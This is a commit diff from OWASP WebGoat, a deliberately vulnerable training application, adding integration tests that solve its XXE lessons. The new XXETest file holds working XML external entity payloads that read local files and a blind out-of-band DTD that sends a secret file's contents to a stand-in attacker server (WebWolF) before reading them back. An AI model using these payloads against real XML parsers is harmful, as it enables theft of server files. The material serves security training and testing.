Merge pull request #657 from WebGoat/xxe-int-test

XXE tests added
This commit is contained in:
René Zubcevic 2019-09-19 18:09:02 +02:00 committed by GitHub
commit 3ec4592fb2
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
5 changed files with 117 additions and 7 deletions

View File

@ -12,7 +12,8 @@ server.ssl.key-alias=${WEBGOAT_KEY_ALIAS:goat}
server.ssl.enabled=${WEBGOAT_SSLENABLED:false} server.ssl.enabled=${WEBGOAT_SSLENABLED:false}
security.require-ssl=${WEBGOAT_SSLENABLED:false} security.require-ssl=${WEBGOAT_SSLENABLED:false}
spring.datasource.url=jdbc:hsqldb:hsql://${WEBGOAT_HOST:127.0.0.1}:${WEBGOAT_HSQLPORT:9001}/webgoat hsqldb.port=${WEBGOAT_HSQLPORT:9001}
spring.datasource.url=jdbc:hsqldb:hsql://${server.address}:${hsqldb.port}/webgoat
spring.jpa.hibernate.ddl-auto=update spring.jpa.hibernate.ddl-auto=update
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver

View File

@ -3,6 +3,7 @@ package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.config.RestAssuredConfig; import io.restassured.config.RestAssuredConfig;
import io.restassured.config.SSLConfig; import io.restassured.config.SSLConfig;
import io.restassured.http.ContentType;
import lombok.Getter; import lombok.Getter;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
import org.junit.After; import org.junit.After;
@ -26,7 +27,6 @@ public abstract class IntegrationTest {
private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/"; private static String WEBGOAT_URL = "http://127.0.0.1:" + WG_PORT + "/WebGoat/";
private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/"; private static String WEBWOLF_URL = "http://127.0.0.1:" + WW_PORT + "/";
//This also allows to test the application with HTTPS when outside testing option is used //This also allows to test the application with HTTPS when outside testing option is used
protected static RestAssuredConfig restConfig = RestAssuredConfig.newConfig().sslConfig(new SSLConfig().relaxedHTTPSValidation()); protected static RestAssuredConfig restConfig = RestAssuredConfig.newConfig().sslConfig(new SSLConfig().relaxedHTTPSValidation());
@ -41,16 +41,18 @@ public abstract class IntegrationTest {
@BeforeClass @BeforeClass
public static void beforeAll() { public static void beforeAll() {
if (!started) { if (!started) {
started = true; started = true;
if (!isAlreadyRunning(WG_PORT)) { if (!isAlreadyRunning(WG_PORT)) {
SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class) SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
.properties(Map.of("spring.config.name", "application-webgoat", "WEBGOAT_PORT", WG_PORT)); .properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_PORT", WG_PORT));
wgs.run(); wgs.run();
} }
if (!isAlreadyRunning(WW_PORT)) { if (!isAlreadyRunning(WW_PORT)) {
SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class) SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
.properties(Map.of("spring.config.name", "application-webwolf", "WEBWOLF_PORT", WW_PORT)); .properties(Map.of("spring.config.name", "application-webwolf,application-inttest", "WEBWOLF_PORT", WW_PORT));
wws.run(); wws.run();
} }
} }
@ -221,4 +223,20 @@ public abstract class IntegrationTest {
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix))); .statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
} }
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
Assert.assertThat(
RestAssured.given()
.when()
.config(restConfig)
.contentType(contentType)
.cookie("JSESSIONID", getWebGoatCookie())
.body(body)
.post(url)
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
} }
}

View File

@ -0,0 +1,81 @@
package org.owasp.webgoat;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import org.junit.Test;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
public class XXETest extends IntegrationTest {
private static final String xxe3 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
private static final String xxe4 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
private String webGoatHomeDirectory = System.getProperty("user.dir").concat("/target/.webgoat");
private String webwolfFileDir = System.getProperty("user.dir").concat("/target/webwolf-fileserver");
@Test
public void runTests() throws IOException {
startLesson("XXE");
checkAssignment(url("/WebGoat/xxe/simple"),ContentType.XML,xxe3,true);
checkAssignment(url("/WebGoat/xxe/content-type"),ContentType.XML,xxe4,true);
checkAssignment(url("/WebGoat/xxe/blind"),ContentType.XML,"<comment><text>"+getSecret()+"</text></comment>",true );
checkResults("xxe/");
}
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
* @return
* @throws IOException
*/
private String getSecret() throws IOException {
//remove any left over DTD
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")));
}
String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
//upload DTD
RestAssured.given()
.when()
.config(restConfig)
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/WebWolf/fileupload"))
.then()
.extract().response().getBody().asString();
//upload attack
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser());
checkAssignment(url("/WebGoat/xxe/blind?send=test"),ContentType.XML,xxe7String,false );
//read results from WebWolf
String result = RestAssured.given()
.when()
.config(restConfig)
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract().response().getBody().asString();
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("),result.lastIndexOf("WebGoat 8.0 rocks... (")+33);
return result;
}
}

View File

@ -0,0 +1,10 @@
#In order to run tests a known temp directory is preferred
#that is why these values are used
webgoat.user.directory=${user.dir}/target/.webgoat
webgoat.server.directory=${user.dir}/target/.webgoat
webwolf.fileserver.location=${user.dir}/target/webwolf-fileserver
#database will get deleted for every mvn clean install
#as these extra properties are read by WebGoat and WebWolf the drop of the tables
#was not helpful.

View File

@ -67,7 +67,7 @@ public class ContentTypeAssignment extends AssignmentEndpoint {
attackResult = failed().feedback("xxe.content.type.feedback.json").build(); attackResult = failed().feedback("xxe.content.type.feedback.json").build();
} }
if (MediaType.APPLICATION_XML_VALUE.equals(contentType)) { if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {
String error = ""; String error = "";
try { try {
Comment comment = comments.parseXml(commentStr); Comment comment = comments.parseXml(commentStr);